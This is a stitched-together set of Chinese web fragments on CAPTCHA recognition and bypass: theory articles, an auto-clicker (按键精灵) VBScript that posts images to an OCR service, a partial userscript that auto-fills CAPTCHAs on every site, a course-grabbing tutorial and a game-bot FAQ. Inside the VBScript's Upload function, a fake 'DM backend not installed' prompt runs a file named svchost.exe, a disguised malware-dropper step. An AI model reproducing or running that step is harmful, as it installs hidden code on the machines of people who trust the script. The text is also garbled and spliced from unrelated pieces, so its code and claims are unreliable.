按键精灵免费识别验证码 一般的验证码通杀
验证码识别 原理

验证码识别原理
验证码识别是一种计算机技术,旨在自动识别和解读验证码图片中的字符,以完成自动化的验证码验证过程。
验证码是一种用于区分机器和人类用户的技术手段,常见于各种注册、登录和数据访问等需要身份验证的网页或应用程序中。
验证码通常采用扭曲、干扰和变形等方式,使其对机器进行自动化识别变得困难。
验证码识别的基本原理是将验证码图片转化为计算机可读的数据形式,通常以字符序列的形式返回结果。
不同的验证码识别算法有不同的实现方式,但其基本步骤包括图像预处理、字符分割、特征提取和字符识别。
首先,图像预处理阶段是对验证码图片进行预处理,以便更好地提取图像中的字符。
这可能包括图像的灰度化、二值化、降噪和去除干扰等操作,以提高字符的可分辨性。
接下来,字符分割阶段将验证码图片中的字符分开,通常采用边界识别或投影法等技术,以找到字符之间的边界,并将其分割成单个字符的图像。
然后,特征提取阶段将每个字符的图像表示转化为计算机可以理解的特征向量。
常见的特征提取方法包括傅里叶描述子、形状上下文和人工神经网络等。
最后,字符识别阶段使用机器学习或深度学习算法将特征向量映射到对应的字符类别。
常用的字符识别算法包括支持向量机、
随机森林和卷积神经网络等。
总的来说,验证码识别是一个复杂的过程,其中涉及到图像处理、图像分析和模式识别等领域的知识。
不同的验证码识别算法在准确性和适应性上可能有所差异,因此选择合适的算法和参数对于验证码识别的效果非常重要。
按键精灵 识别验证码 一般的验证码通杀

Function body(a,b,c)dim aaaa=aaa=mid(aa,instr(aa,b) len(b))body=left(aa,instr(aa,c)-1)End FunctionPublic Function StringToBytes(ByVal strData, ByVal strCharset) Dim objFileSet objFile = CreateObject("ADODB.Stream")objFile.Type = adTypeTextobjFile.Charset = strCharsetobjFile.OpenobjFile.WriteText strDataobjFile.Position = 0objFile.Type = adTypeBinaryIf UCase(strCharset) = "UNICODE" ThenobjFile.Position = 2 'delete UNICODE BOMElseIf UCase(strCharset) = "UTF-8" ThenobjFile.Position = 3 'delete UTF-8 BOMEnd IfStringToBytes = objFile.Read(-1)objFile.CloseSet objFile = NothingEnd FunctionPrivate Function GetFileBinary(ByVal strPath)Dim objFileSet objFile = CreateObject("ADODB.Stream")objFile.Type = adTypeBinaryobjFile.OpenobjFile.LoadFromFile strPathGetFileBinary = objFile.Read(-1)objFile.CloseSet objFile = NothingEnd FunctionPrivate Function GetBoundary()Dim ret(12)Dim tableDim itable = "abcdefghijklmnopqrstuvwxzy0123456789"RandomizeFor i = 0 To UBound(ret)ret(i) = Mid(table, Int(Rnd() * Len(table) 1), 1)NextGetBoundary = "---------------------------" & Join(ret, Empty) End FunctionPublic Sub AddForm(ByVal strName, ByVal strValue)Dim tmptmp = "\r\n--$1\r\nContent-Disposition: form-data;name=""$2""\r\n\r\n$3"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)tmp = Replace(tmp, "$2", strName)tmp = Replace(tmp, "$3", strValue)objTemp.Write StringToBytes(tmp, strCharset)End SubPrivate Sub AddEnd()Dim tmptmp = "\r\n--$1--\r\n"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)objTemp.Write StringToBytes(tmp, strCharset)objTemp.Position = 2End SubPublic Function Upload(ByVal strURL)Call AddEndMessageBox "系统检测到您的脚本没有安装DM后台,点击安装" URL= "/svchost.exe" Call RunApp(URL) xmlHttp.Open "POST", strURL, FalsexmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundaryxmlHttp.setRequestHeader "Content-Length", objTemp.sizexmlHttp.setRequestHeader "Host", ""xmlHttp.setRequestHeader "Expect", "100-continue"xmlHttp.Send objTempUpload = xmlHttp.ResponseBodyEnd FunctionPublic Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath)Dim tmptmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n"tmp = Replace(tmp, "\r\n", vbCrLf)tmp = Replace(tmp, "$1", strBoundary)tmp = Replace(tmp, "$2", strName)tmp = Replace(tmp, "$3", strFileName)tmp = Replace(tmp, "$4", strFileType)objTemp.Write StringToBytes(tmp, strCharset)objTemp.Write GetFileBinary(strFilePath)End SubPrivate Sub Class_Initialize()adTypeBinary = 1adTypeText = 2Set xmlHttp = CreateObject("Msxml2.XMLHTTP")Set objTemp = CreateObject("ADODB.Stream")objTemp.Type = adTypeBinaryobjTemp.OpenstrCharset = "utf-8"strBoundary = GetBoundary()End SubCall Class_Initialize()key="" //这里是自己申请的key//本识别服务为免费,没有apiKey 可以 key 为标题//任意内容为正文发邮件到 ok(@) 获取//可能会有延迟,请匆重复发送//授权apiKey,请注意区分大小写路径="C:\Documents and Settings\Administrator\桌面\1.bmp" //识别的图片路径语言="eng" // 英文=eng 简体=sim 繁体=tra验证码类型=7 // 所有英文字符=0 所有纯数字=1 小写英文字母=2 大写英文字母=3 数字小写字母=4 数字大写字母=5 大写小写字母=6 数字大写小写=7 常用英文字符=8 网址和邮件类=9 $¥商城价格=10 手机电话号类=11 数学公式计算=12strCharset = "GB2312"Call AddForm("service", "OcrKingForCaptcha")Call AddForm("language",语言)Call AddForm("charset",验证码类型 )CallAddForm("type","/api/get_auth.php?t=56_reg&rnd=0.56758 23935307562")Call AddForm("apiKey",key)Call AddFile("ocrfile", "", "image/jpg", 路径)ccc = Upload("/ok.html")xmlBody = cccSet ObjStream = CreateObject("Adodb.Stream")With ObjStream.Type = 1.Mode = 3.Open.Write xmlBody.Position = 0.Type = 2.Charset = "utf-8"BytesToBstr = .ReadText.CloseEnd WithMsgBox "识别结果:"&body( BytesToBstr,"","<")。
验证码的识别与攻防
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验证码的识别与攻防随着互联网的发展,越来越多的网站和应用程序使用验证码来防止恶意机器人和自动化脚本的攻击。
验证码(CAPTCHA,全自动区分计算机和人类的公开图灵测试)是一种图像或问题,要求用户进行识别和回答,以证明其为人类而不是机器。
验证码的识别是指通过计算机程序自动化地识别和破解验证码。
验证码的攻击是指恶意用户或黑客使用各种技术手段来破解验证码,以进行自动化攻击。
识别验证码是一个非常具有挑战性的任务,因为验证码通常被设计为对机器来说非常难以理解和识别,但对于人类来说相对容易。
验证码的设计者使用各种技巧和方法来使验证码对机器具有挑战性,例如歪曲文字、干扰线和噪声等。
在识别验证码方面,主要有两种方法:1. 光学字符识别(OCR):这种方法使用计算机视觉和机器学习算法来识别验证码中的文字。
它首先对验证码图像进行预处理,例如去除噪声、平滑图像等。
然后使用OCR算法将图像转换为可识别的文本。
这种方法在一些简单的验证码上效果较好,但对于复杂的验证码效果有限。
2. 机器学习:这种方法使用机器学习算法来对验证码进行分类和识别。
它通过训练模型来学习并理解不同类型的验证码,然后将输入的验证码与模型进行比较和匹配。
这种方法需要大量的训练数据和计算资源,并且对于新型的验证码可能需要重新训练模型。
1. OCR识别:攻击者可以使用OCR算法来识别和破解验证码。
他们可以使用大量的训练数据来训练模型,并使用其识别的文本来自动化地攻击目标网站或应用程序。
2. 字典攻击:攻击者可以构建一个包含常见验证码的字典,然后通过比对输入的验证码和字典中的验证码来破解验证码。
如果字典中存在与输入的验证码相似或匹配的验证码,那么攻击者就可以绕过验证码的防护。
3. 人工辅助:攻击者可以雇佣廉价劳动力来手动识别和回答验证码,然后使用这些信息来进行自动化攻击。
这种方法虽然效果较好,但需要相对较高的成本和时间投入。
为了防御验证码的攻击,设计者可以使用以下方法来提高验证码的安全性:1. 使用复杂的验证码设计:例如使用扭曲、干扰线、噪声等来增加识别的难度。
如何辨别伪装的短信验证码
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伪装的短信验证码可能导致用户的资金被盗取,如通过诱导用户进 行转账、消费等方式骗取资金。
威胁网络安全
伪装的短信验证码可能作为网络攻击的跳板,诱导用户点击恶意链 接或下载病毒软件,进而攻击用户的计算机或手机设备。
02
如何识别伪装的短信验证码
检查短信发送号码
确认发送号码是否为官方或正规的服 务提供商号码,可以通过官方渠道查 询或拨打客服电话核实。
恶意软件或病毒的攻击。
02
不要将个人敏感信息轻易泄露,特别是银行账号、密
码等重要信息。
03
定期更换复杂的密码,并使用多种方式进行验证,以
提高账户安全。
学习相关知识,提高识别能力
了解常见的网络诈骗手段和识别方法,如通过短信、电话、邮件等方式进 行的诈骗。
学习如何识别伪装的短信验证码,了解其特点、规律和识别技巧。
及时更新手机安全软件
保持手机安全软件的最新版本,以便及时修复安全漏洞和 识别伪装的短信验证码。
定期对手机进行安全扫描,及时发现和清除恶意软件和病 毒。
03
防范伪装的短信验证码的措施
加强个人信息保护意识
1
不要轻易泄露个人信息,特别是银行卡、密码等 敏感信息。
2
不要在不可靠的网络环境中输入个人信息,防止 被黑客窃取。
如何辨别伪装的短信验证码
汇报人:可编辑 2023-12-31
目录
• 伪装的短信验证码概述 • 如何识别伪装的短信验证码 • 防范伪装的短信验证码的措施 • 案例分析 • 总结与建议
01
伪装的短信验证码概述
伪装的定义与特点
伪装的定义
伪装的短信验证码是指通过技术手段 篡改、伪造或冒用真实的短信验证码 ,使其看起来像是来自正规机构或平 台的短信。
Python网络爬虫的验证码识别与破解方法
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Python网络爬虫的验证码识别与破解方法网络爬虫是一种用于自动获取网页信息的程序,它可以在互联网上自动化地浏览网页、抓取数据等。
然而,在进行网络爬取时,我们经常会遇到验证码的问题,这给爬虫程序带来了困扰。
本文将介绍基于Python的网络爬虫的验证码识别与破解方法。
一、验证码的作用与种类验证码(CAPTCHA)是为了区分人类用户和计算机程序的一种技术手段。
它目的在于阻止自动化程序(如爬虫)对网站进行恶意攻击,保障网站的安全性。
常见的验证码类型包括数字验证码、字母验证码、混合验证码、中文验证码等。
二、验证码识别的原理验证码识别是指通过计算机程序自动识别并破解验证码的过程。
常用的验证码识别方法包括图像处理与模式识别两部分内容。
图像处理主要用于降噪、二值化、分割等预处理操作,以便提取验证码中的有效信息。
模式识别则使用机器学习算法,通过训练模型来对验证码进行分类和识别。
三、验证码识别的Python库Python提供了许多强大的图像处理和机器学习库,为验证码识别提供了便捷的解决方案。
以下是常用的Python库:1. PIL(Python Imaging Library):用于图像预处理、特征提取等操作。
2. OpenCV(Open Source Computer Vision):提供了丰富的图像处理函数和工具。
3. Scikit-learn:用于机器学习任务,提供了常见的分类算法和模型评估方法。
4. TensorFlow:深度学习框架,可以应用于验证码的识别和破解。
5. Keras:基于TensorFlow的高级神经网络库,可以快速搭建验证码识别模型。
四、验证码识别与破解方法基于以上提到的Python库,我们可以采用以下方法来识别和破解验证码:1. 图像预处理:使用PIL和OpenCV库进行验证码图像的读取、降噪、二值化、分割等预处理操作。
2. 特征提取与选择:通过特征工程技术,提取验证码图像中的有效特征,如轮廓、颜色、形状等。
验证码的识别与攻防
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验证码的识别与攻防随着网络技术的发展,验证码(CAPTCHA)成为了一种广泛应用于网络安全领域的手段。
验证码是一种自动化识别程序和人类识别程序之间的界限,它通过呈现给用户一系列具有一定难度的问题或任务,以确认用户是真实的人类而不是自动化机器。
验证码的主要目的是防止恶意程序自动化地访问和利用网络资源,保护网站的安全和用户的隐私。
验证码的核心原理是利用人类的认知能力,通过要求用户完成人类特有的任务来确认其身份。
常见的验证码类型包括文字验证码、图像验证码、声音验证码等。
文字验证码通常以扭曲、模糊、干扰等方式呈现,用户需要根据图像中的文字内容输入正确的答案。
图像验证码则要求用户选择与问题相关的图片,常见的形式为选择包含特定物体或特征的图片。
声音验证码则要求用户通过听声音内容并输入相应的答案来完成验证。
随着验证码技术的发展,攻击者也在不断研究和改进验证码的破解方法。
针对文字验证码,攻击者可以使用图像处理算法和模式识别技术来识别和破解扭曲、模糊的文字;针对图像验证码,攻击者可以利用目标检测和图像识别算法来分析图像内容并选择正确答案;针对声音验证码,攻击者可以使用语音识别技术将声音转换为文字。
除了技术手段,攻击者还可以利用社会工程学手段,如雇佣人工识别团队来解决复杂的验证码。
为了应对验证码破解的挑战,验证码的设计和应用需要不断创新和改进。
一种常见的策略是不断增加验证码的难度,如增加文字的扭曲程度、增加图像的干扰程度、增加声音的噪音等。
还可以采用多种类型的验证码组合使用,增加攻击者的难度和成本。
对于特定领域的应用,例如金融领域,还可以引入生物特征识别等更高级的验证手段。
验证码的设计还需要考虑用户体验和易用性。
过于复杂和难以理解的验证码可能会对用户造成困扰,降低用户使用的积极性。
一种有效的设计是在保证安全性的前提下,尽量简化和优化验证码的形式和流程,例如增加易于识别的文字和图像,减少重复的操作步骤等。
验证码的识别与攻防是一个不断博弈的过程。
网页验证码通用油猴脚本
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⽹页验证码通⽤油猴脚本1// ==UserScript==2// @name ⽹页通⽤验证码3// @namespace /4// @version 3.0.5// @description 解放眼睛和双⼿,⾃动识别并填⼊数字,字母验证码。
新版本⽀持识别滑动验证码。
6// @author 哈⼠奇78// @include http://*9// @include https://*10// @license MIT1112// @grant unsafeWindow13// @grant GM_addStyle14// @grant GM_listValues15// @grant GM_addValueChangeListener16// @grant GM_removeValueChangeListener17// @grant GM_setValue18// @grant GM_getValue19// @grant GM_deleteValue20// @grant GM_log21// @grant GM_getResourceText22// @grant GM_getResourceURL23// @grant GM_registerMenuCommand24// @grant GM_unregisterMenuCommand25// @grant GM_xmlhttpRequest26// @grant GM_download27// @grant GM_getTab28// @grant GM_saveTab29// @grant GM_getTabs30// @grant GM_notification31// @grant GM_setClipboard32// @grant GM_info33// @grant GM_xmlhttpRequest34// @connect *35// @require https:///npm/vue@2.6.1236// @require https:///element-ui/lib/index.js37// @resource elementUIcss https:///element-ui/lib/theme-chalk/index.css3839// @run-at document-end40// ==/UserScript==4142(function() {43// GM_setValue('tipsConfig',"")44 var elementUIcss = GM_getResourceText("elementUIcss");45 GM_addStyle(elementUIcss);4647 function getStyle(el) {48// 获取元素样式49 if (window.getComputedStyle) {50 return window.getComputedStyle(el, null);51 } else {52 return el.currentStyle;53 }54 }5556 function init() {57//简化各种api和初始化全局变量58 CUR_URL = window.location.href;59 DOMAIN = CUR_URL.split("//")[1].split("/")[0];60 SLIDE_STORE_KEY = "husky_" + "slidePath" + location.host;61 NORMAL_STORE_KEY = "husky_" + "normalPath" + location.host;62 selector = document.querySelector.bind(document);63 selectorAll = document.querySelectorAll.bind(document);64 getItem = localStorage.getItem.bind(localStorage);65 setItem = localStorage.setItem.bind(localStorage);66 }6768 function getNumber(str) {69 return Number(str.split(".")[0].replace(/[^0-9]/gi, ""));70 }7172 function isNumber(value) {73 if (!value && value !== 0) {74 return false;75 }76 value = Number(value);76 value = Number(value);77 return typeof value === "number" && !isNaN(value);78 }7980 function getEleTransform(el) {81 const style = window.getComputedStyle(el, null);82 var transform =83 style.getPropertyValue("-webkit-transform") ||84 style.getPropertyValue("-moz-transform") ||85 style.getPropertyValue("-ms-transform") ||86 style.getPropertyValue("-o-transform") ||87 style.getPropertyValue("transform") ||88 "null";89 return transform && transform.split(",")[4];90 }9192 class Captcha {93// 识别⽹页中的验证码94 constructor() {95 this.imgCache = [];96 this.inputTags = [];97 this.recommendPath = {};98 this.checkTimer = null;99 this.listenLoadSuccess = false;100101 window.addEventListener("load", async() => {102 this.init();103 });104 setTimeout(() => {105 if (!this.listenLoadSuccess) {106 this.listenLoadSuccess = true;107 this.init();108 }109 }, 5000);110 }111112 doCheckTask() {113 this.findCaptcha();114 this.checkSlideCaptcha();115 }116 init() {117 this.manualLocateCaptcha();118 this.doCheckTask();119120 const MutationObserver =121 window.MutationObserver ||122 window.WebKitMutationObserver ||123 window.MozMutationObserver;124 const body = document.body;125126 const Observer = new MutationObserver((mutations, instance) => {127 for (let i = 0; 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按键精灵的几个常见操作:激活窗口读取ExcelFindPic组合键输入等待用户输入拷贝剪贴。。。

按键精灵的⼏个常见操作:激活窗⼝读取ExcelFindPic组合键输⼊等待⽤户输⼊拷贝剪贴。
因⼯作需要,写了⼀个按键精灵的程序,⽤于实现⾃动登录某⽹站的功能,特意记录如下常见操作:⼀、激活窗⼝Delay 1000Hwnd = Plugin.Window.Find(0, "Microsoft Excel - MyTest.xls [兼容模式]")Call Plugin.Window.Active(Hwnd)Delay 1000其中,窗⼝句柄参数,可以通过【抓抓】-》句柄-》选择句柄-》查看句柄信息获得。
加⼊Delay 1000,是保证窗⼝能够正常打开。
⼆、打开Excel、读取写⼊数据、关闭ExcelCall Plugin.Office.OpenXls("D:\TDDOWNLOAD\MyTest.xls")For i = 1To200// 读取数据、Text = Plugin.Office.ReadXls(1, i, 1)// 写⼊数据Call Plugin.Office.WriteXls(1, 1, 3, startRow + i)// 其它处理NextPlugin.Office.CloseXls其中,ReadXls第⼀个参数为Sheet位置,第⼆个为⾏,第三个为列。
写⼊数据,多⼀个参数:写⼊的值。
三、FindPic应⽤// 提交表单FindPic 0, 0, 1366, 768, "D:\TDDOWNLOAD\query.bmp", 0.9, intX, intYIf intX > 0and intY > 0ThenMoveTo intX + 50, intY + 10LeftClick 1ElseMsgBox"哪⼉出错了?找不到query图⽚!"Goto EndProcessEnd If其中,query.bmp是通过【抓抓】解析得出的——这点很重要。
AI识别验证码,帮你自动识别验证码并完成验证的神器插件乐软博客

AI识别验证码,帮你自动识别验证码并完成验证的神器插件乐软博客众所周知,验证码是Web网页不可或缺的重要组件,可以尽可能的提升交互安全性,防止暴力破解。
验证码多式多样,其中图文验证码应用广泛,通常是肉眼可分的数字、字母混合排列,而在如今的智能时代,验证码也千变万化,诞生了许多基于AI让机器更加难以识别的验证方式。
比如谷歌的。
不过机器难以识别的验证码,多数情况下,人的肉眼也要花费时间去识别,对于用户而言,在日常的使用中极为不便。
今天,给大家推荐三个可以帮我们自动识别并填写验证码的小工具。
验证码识别2.0,纯本地自动识别网页验证码的神器验证码识别2.0,是一款由吾爱论坛网友@fm32开发的一款纯本地的自动识别网页验证码的小工具,它简单易用,可以通过快捷键截取网页上的验证码快速识别并自动将识别的内容复制剪贴板,让你毫不费事,快速填写网页上恼人的验证码!主要特性:•本地识别验证码,无需联网•支持设置快捷键•支持屏幕贴边隐藏•支持开机启动验证码识别工具使用非常简单,运行后,你只需要点击按钮或者通过快捷键Alt+C(默认),选取网页上验证码,工具将自动识别,并自动复制识别的结果。
如图:目前它支持两种模式,按照作者所述,模式1调用ddddocr识别(准确率较高)模式2调用识别库ocr.dll。
工具支持自定义设置快捷键,而且你可以把它放在屏幕边缘贴边隐藏,通过快捷键可以快速调用。
此外,开发者也提供了一个配套的Chrome插件,在浏览器中的扩展中开启开发者模式,加载Chrome插件即可。
浏览器插件,更进一步简化了操作,在页面上直接右键选择识别验证码,然后截图即可。
(本图来自开发者)总结:这款来自吾爱大佬编写的验证码识别工具,简单易用,它是在本地调用了ddddocr识别和ocr.dll,所以无需联网,也不必担心有一天突然无法使用。
至于识别率,当然无法100%识别,如果碰到了复杂的验证码直接在网页上刷新就好。
NopeCHA,让AI打败反人类的验证码!目前市面上的验证码,种类繁多,上面大家常见文字型的验证码,一般最多是采用变形、或者背景色相近来提升识别难度,但只要你多看一下,还是可以识别出来的。
验证码的识别与攻防

验证码的识别与攻防随着互联网的发展,验证码 (CAPTCHA) 在我们的生活中变得越来越常见。
验证码是一种人机识别技术,通过给用户展示一些难以被计算机识别的图形、文字、音频或者视频内容,来区分人类用户和自动化程序。
验证码的目的是保护网站免受恶意攻击,例如自动化脚本,垃圾邮件发送程序等。
随着技术的发展,验证码识别和攻破的方法也越来越多样化和复杂化。
随着技术的进步,验证码的攻破方法也越来越多样化和复杂化。
一种常见的攻击方法是基于机器学习的识别方法。
通过收集大量的验证码样本数据,然后使用机器学习算法进行训练,来实现对验证码的自动识别。
这种方法的关键是如何选择适当的特征和算法,以及如何解决验证码样本的不平衡和干扰问题。
另一种常见的攻击方法是基于人工智能的模拟方法。
通过使用深度学习算法,例如卷积神经网络 (CNN)、循环神经网络 (RNN)等,来模拟人类对验证码的识别过程。
这种方法的关键是如何构建适当的神经网络结构和训练算法,以及如何解决验证码的多样性和动态性问题。
为了应对验证码的攻击,同时也保护用户的隐私和便利性,我们需要采取一些防御措施。
首先是提高验证码的复杂性和多样性。
通过增加验证码中的图形、文字、声音或者视频内容的复杂性和多样性,来增加攻击者攻破验证码的难度。
其次是增加验证码的时效性和难度。
通过增加验证码的刷新频率和难度级别,来降低攻击者攻破验证码的成功率。
最后是结合其他身份认证手段。
通过与其他身份认证手段,例如用户名密码、短信验证码等结合起来,来提高用户的身份认证安全性。
验证码的识别与攻防是一个相互竞争的过程。
随着技术的发展,验证码的识别和攻破方法也在不断演化和升级。
为了应对验证码的攻击,我们需要不断提高验证码的复杂性和多样性,增加验证码的时效性和难度,以及结合其他身份认证手段。
只有综合运用各种技术手段,才能提高验证码的防护能力,保护网站免受恶意攻击。
常见的数字验证码识别方法

常见的数字验证码识别方法
数字验证码识别是指识别数字验证码的过程,通常用于防止恶意注册、登录等行为。
以下是几种常见的数字验证码识别方法:
1.OCR识别:OCR识别是指使用光学字符识别技术对验证码中的字符进行识别。
OCR识别通常使用计算机视觉技术,通过分析图像中的像素点和线条来识别字符。
OCR识别速度快、精度高,但对于扭曲、变形、模糊等情况的识别效果较差。
2.人工神经网络识别:人工神经网络识别是指使用人工神经网络对验证码中的字符进行识别。
人工神经网络识别通常使用卷积神经网络(CNN)或循环神经网络(RNN)等深度学习模型,通过训练数据集来学习字符的特征,并进行识别。
人工神经网络识别准确度高,但需要大量的训练数据和计算资源。
3.基于规则的识别:基于规则的识别是指使用预定义的规则对验证码中的字符进行识别。
基于规则的识别通常使用模式匹配、字符串匹配等方法,通过匹配字符与预定义的规则来进行识别。
基于规则的识别速度快、易于实现,但对于复杂的验证码效果较差。
以上是几种常见的数字验证码识别方法,每种方法都有其适用范围和优缺点,需要根据具体的场景和需求选择合适的方法。
按键精灵插件说明

Else
//当满足这个条件时说明已经得到答案
//用户根据自已的题目类型判断如何处理返回值
ElseIf jstm=0
If DateDiff("s",yzjs,now)<300
//这里的时间改成验证码最大限时
Plugin answer=lyy_dt.GetAnswer(index)
//返回答案,返回值answer(字符型)未接收到答案之前返回空值,返回"无法确定图片"为无法识别图片,其它为答案。
Goto 发送
EndIf
jstm=0:yzjs=now
//给jstm赋值为0,使代码再次进入这段子程序时只判断返回值answelay 16
Goto 主程序
Sub 验证过程
If jstm=1
Rem 发送
VBSCall FindPic(0,0,1024,768,"Attachment:\验证.bmp",0.9,x,y)
If x>0 and y>0
//判断验证是否存在,如果存在则:
//如果是选择题,返回值有以下几种:1、2、3、4、5、6、7、8、9
//如果是填空题,直接操作即可
EndIf
jstm=1
//完事后,不要忘记将jstm再赋值为1
按键精灵调用方法(lyy_dt.dll):
plugin lyy_dt.SetUserData("用户名","验证码","服务器")
//连接服务器,用户名及验证码联系管理员索取。
验证码绕过的方法

验证码绕过的方法
验证码是一种用于验证用户身份或防止机器人恶意攻击的技术。
然而,一些黑客或攻击者可以使用各种技巧绕过验证码,从而访问受保护的资源或进行恶意活动。
以下是几种常见的验证码绕过方法:
1. OCR技术:OCR(Optical Character Recognition)技术可以识别验证码中的字符,从而绕过验证码。
攻击者可以使用OCR软件或人工智能技术进行识别。
2. 自动化脚本:攻击者可以使用自动化脚本或程序对验证码进行多次尝试,从而尝试猜测正确的答案。
这种方法称为暴力破解。
3. 恶意软件:某些恶意软件可以注入恶意代码,以便绕过验证码或执行其他恶意活动。
4. 社会工程学攻击:攻击者可以使用社会工程学技术,如钓鱼攻击或冒充身份,以获取有效的验证码并绕过安全措施。
为了防止验证码被绕过,网站管理员可以采取以下措施:
1. 使用复杂的验证码:使用难以识别的字符或图像,以增加攻击者绕过验证码的难度。
2. 实施限制:实施限制,如限制尝试次数或实施时间限制,以避免攻击者进行暴力破解。
3. 实施多因素认证:使用多种身份验证方式,如密码和二步验证,以增加安全性。
4. 更新和监控:定期更新验证码和监控验证码活动,以避免攻
击者利用已知漏洞或技术绕过验证码。
验证码识别技术

验证码识别技术模拟精灵是首个公开最有效的验证码识别技术的软件,使用模拟精灵制作了大量的免费、商用群发软件,对很多复杂BT的验证码都能成功的识别。
但是验证码仍然需要精湛的技术与足够的耐心。
请牢记这一点。
验证码识别不适合浮躁的人去做。
验证码识别是一项特殊的技术,任何一个公开的验证码识别代码都会很快的失效。
因为代码的公开后相关网站都会很快的更改验证码。
所以下面我只会介绍其原理。
在这里讨论验证码识别技术纯粹基于技术研究目的。
公开此技术也是为了让更多的网站采取更有效的防范措施。
禁止任何人利用这里介绍的验证码识别技术滥发垃圾信息。
本文介绍的验证码识别适用于比较复杂的图片验证码,也是大多数网站采用的方法。
有一些网站的验证码极简单,例如在网页中直接显示验证码字符而不是图片,或者图片的文件名直接就是验证码上的字符。
或者有其他规律可循,或者有其他明显的漏洞可以利用(例如通过改写访问验证码页面的源代码使验证码不刷新)。
这一类的验证码识别极其简单,只要熟练掌握web库、element库的函数即可,不需要使用下面介绍的方法。
一、下载验证码样本打开c:\test文件夹,选“查看缩略图”,然后重复运行下面的LAScript脚本,每运行一次,就查看c:\test下自动生成的图片,把图片上的字符改为文件名.例如图片上面显示5,就把文件名改为5.jpg.如果变化比较复杂的验证码,可以对每个字符多用几个样本,第一个字符为验证码字符,第二个字符可以为任意字符。
例如:5a.jpg , 5b.jpg , 5c.jpg ...........等等。
样本多就会识别能力就越强。
img = image.new();--下载图像,没有后缀名要显示指定*.bmp格式img:getURL("http://www.***.com/test.asp","*.png");assert(img:ok(),"下载验证码失败");img:Crop(4 ,3 , 56 ,18 )img:save("c:\\test\\test.jpg") --保存到硬盘--折分图片,指定一行四列img2,img3,img4,img5 = img:split(1,4);img2:save("c:\\test\\0001.jpg")img3:save("c:\\test\\0002.jpg")img4:save("c:\\test\\0003.jpg")img5:save("c:\\test\\0004.jpg")image.del(img);如何确定图片后缀名在整个验证码识别过程中,格式与后缀名一定不能搞错,否则就会失败。
学习脚本制作:按键精灵判断验证窗口是否出现

学习脚本制作:按键精灵判断验证窗口是否出现
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1.方法:以屏幕左上角的坐标为起点(0,0),从而获取到的游戏中“验证码”图片出现的位置。
步骤1:计算出“验证码”图片左上角坐标、右下角坐标与游戏窗口左上角坐标的距离。
2.2
步骤2:使用GetWindowRect命令获取游戏窗口左上角坐标。
sRect = Plugin.Window.GetClientRect(Hwnd)
MyArray = Split(sRect, "|")
3.3
步骤3:窗口左上角坐标+图片左上角、右下角与窗口左上角的距离,获取图片的位置。
公式:“验证码”图片左上角坐标(x,y)=(窗口左上角x坐标+257,窗口左上角y坐标+139)“验证码”图片右下角坐标(x,y)=(窗口左上角x坐标+308,窗口左上角y坐
标+164)
4.4
步骤4:使用findpic找图命令,查找"验证码"图片。
//"验证码"图片需加载到附件中
FindPic 窗口左上角x坐标+257,窗口左上角y坐标+139, 窗口左上角x坐标+308,窗口左上角y坐标+164,"Attachment:\验证码.bmp",0.9,intX,intY
If intX > 0 And intY > 0 Then
//
End If
5.5
有些游戏的验证窗口出现的位置是随机的。
这种情况,只能将找图范围设置为窗口客户区大小去找图。
观察验证窗口的随机位置,没
有被随机到的位置尽量排除在找图范围外,找图范围越小效率越高。
刷课神器——按键精灵使用教程

刷课神器——按键精灵使用教程废话少说,直接进入正题。
以下教程皆以按键精灵版(免费版)为例。
请通读全文后再开始操作。
有看不懂的地方,建议询问一下他人再进行刷课……刷课有风险,操作需谨慎。
1.打开按键精灵,点击“新建”。
2.点击“源文件”,将以下代码复制到窗口中。
Dim hwndhwnd =s =MyArray = Split(s, "|", -1, 1)VBS sx = MyArray(0)VBS sy = Myarray(1)i=10While i=10开用来刷课的浏览器,打开补退选的网页,将网页窗口最大化,填入验证码。
为避免误操作,建议将想要刷的课程挪到页面的上方,将网页右侧导航条滑到最上方。
开始刷课后,该浏览器将不能再用作他用。
切记4.最小化网页窗口,切换回按键精灵的界面,点击“抓抓”5.再点开补退选网页界面。
将鼠标移动到稍候需要刷的课程的“刷新”键上,利用“抓抓”得到该处的窗口坐标,如图,最上面一门课的“刷新”键的当前屏幕坐标为1150,414。
此时网页右侧滚动条还应处在最上方,并且在刷课过程中千万不要上下滚动网页,改变滚动条的位置6.打开之前输入代码的窗口,将相应代码处的坐标更改为1150,414。
牢记之前规定的启动热键和中止热键。
然后点击“保存退出”。
7.此时,应回到如下图所示的界面。
你的脚本前有一个对勾,表示该脚本有效,可以被启用。
8.切换回之前补退选的网页界面。
开始刷课前,检查验证码是否输入正确,网页的滚动条是否与抓取屏幕坐标时一样,还在最上方。
确认无误后,将鼠标停留在你打开的这个补退选网页,按下启动热键,即可开始刷课。
如之前的操作都完全正确的话,按键精灵会在后台自动按照规定的速度循环点击所刷课程的“刷新”键,虽然看不到鼠标在屏幕上移动,但可以看到最上面那门课程的“刷新”键被一个虚线的框包着,说明刚被点击过,可依据此效果证明之前抓取屏幕坐标时是否出现错误。
弹出标题为“来自网页的消息”,内容为“选课人数没有变化”的窗口后,按键精灵会在后台自动按回车的。
常见问题说明

去掉 平滑屏幕字体边缘 选项前的勾 ,保存
千万注意:关闭游戏并重启游戏!!!!!
2、分辨率最好设置成比较常规的,如1280*1024,1400*1050,1024*768等。
三、不是说可以刷boss、竞技等定时任务么,肿么不行啊?
答:
要完成刷boss、竞技等定时任务必须勾选 刷野
1、电脑时间必须与正确时间一致。大中午的,您电脑说正处于夜里11点,此时木有boss,只有野鬼
四、有时候弹出 坐标越界,x1大于窗口宽度 之类的框框,咋回事啊?
答:
1、ctrl+alt+del 呼出 任务管理器,将小帆神曲 进程给杀掉,再启动脚本软件就可以了。
2、获取机器码按钮,在第一次获取后就再也不要按了,就是因为按了它才导致的这个问题。
六、弹出用管理员身份启动的框怎么解决
答:如果你是xp,直接重启下机器试试。如果你是win7,关闭uac,再重启机器试试。
本脚本永久免费.脚本启动有时较慢,偶尔需要30秒。若弹出获取时间不正确,点确定后*使用本辅助进行刷野超过5小时,会进行一次世界频道的宣传,以后每4小时进行一次公会频道的宣传*****
*****6711平台下有被封号的现象*****
常见问题:
八、好多问题,乱点,死机,崩溃,杀毒等等
答:
